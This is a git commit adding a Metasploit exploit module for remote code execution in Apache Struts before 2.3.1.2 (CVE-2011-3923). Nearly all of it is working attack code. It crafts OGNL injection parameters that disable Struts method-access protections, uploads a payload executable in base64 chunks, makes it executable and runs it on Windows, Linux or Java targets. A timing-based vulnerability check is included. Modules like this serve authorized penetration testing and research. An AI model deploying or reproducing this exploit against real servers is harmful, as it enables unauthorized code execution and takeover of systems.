commit fix branch for Console-struts-RCE

bug/bundler_fix
Console 2013-03-21 13:40:16 +00:00
parent 6ffe84ea98
commit 5c9bec1552
1 changed files with 163 additions and 0 deletions

View File

@ -0,0 +1,163 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts ParametersInterceptor Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in
Apache Struts versions < 2.3.1.2. This issue is caused because the
ParametersInterceptor allows for the use of parentheses which in turn allows it to interpret
parameter values as OGNL expressions during certain exception handling for mismatched
data types of properties which allows remote attackers to execute arbitrary Java code
via a crafted parameter.
},
'Author' =>
[
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
'Meder Kydyraliev', # Vulnerability Discovery and PoC
'mihi', #ARCH_JAVA support
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-3923'],
[ 'OSVDB', '78501'],
[ 'URL', 'http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html'],
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-009']
],
'Platform' => [ 'win', 'linux', 'java'],
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'windows'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => 'Oct 01 2011',
'DefaultTarget' => 2))
register_options(
[
Opt::RPORT(8080),
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',"username"]),
OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/blank-struts2/login.action?INJECT"]),
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
], self.class)
end
def execute_command(cmd, opts = {})
inject = "PARAMETERTOKEN=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=+new+java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
inject << "=+new+java.lang.Boolean(true),CMD)('meh')&z[(PARAMETERTOKEN)(meh)]=true"
inject.gsub!(/PARAMETERTOKEN/,Rex::Text::uri_encode(datastore['Parameter']))
inject.gsub!(/CMD/,Rex::Text::uri_encode(cmd))
uri = String.new(datastore['TARGETURI'])
uri.gsub!(/INJECT/,inject) # append the injection string
resp = send_request_cgi({
'uri' => uri,
'version' => '1.1',
'method' => 'GET',
}, 15)
return resp #Used for check function.
end
def exploit
#Set up generic values.
@payload_exe = rand_text_alphanumeric(4+rand(4))
pl_exe = generate_payload_exe
chunk_length = 384
append = 'false'
#Now arch specific...
case target['Platform']
when 'linux'
chunk_length = 128 #Complains of a long filename if left default.
@payload_exe = "/tmp/#{@payload_exe}"
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh@-c@chmod +x #{@payload_exe}\".split(\"@\"))"
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh@-c@#{@payload_exe}\".split(\"@\"))"
when 'java'
@payload_exe << ".jar"
pl_exe = payload.encoded_jar.pack
exec_cmd = ""
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
when 'windows'
@payload_exe = "./#{@payload_exe}.exe"
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
else
fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
end
#Now with all the arch specific stuff set, perform the upload.
while pl_exe.length > chunk_length
java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
append = true
end
java_upload_part(pl_exe,@payload_exe,append)
execute_command(chmod_cmd) if target['Platform'] == 'linux'
execute_command(exec_cmd)
register_files_for_cleanup(@payload_exe)
end
def java_upload_part(part, filename, append = 'false')
cmd = ""
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
cmd << "#f.close()"
execute_command(cmd)
end
def check
check_cmd = "@java.lang.Thread@sleep(10000)"
t1 = Time.now
response = execute_command(check_cmd)
t2 = Time.now
delta = t2 - t1
if response.nil?
return Exploit::CheckCode::Safe
elsif delta < 10
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Appears
end
end
end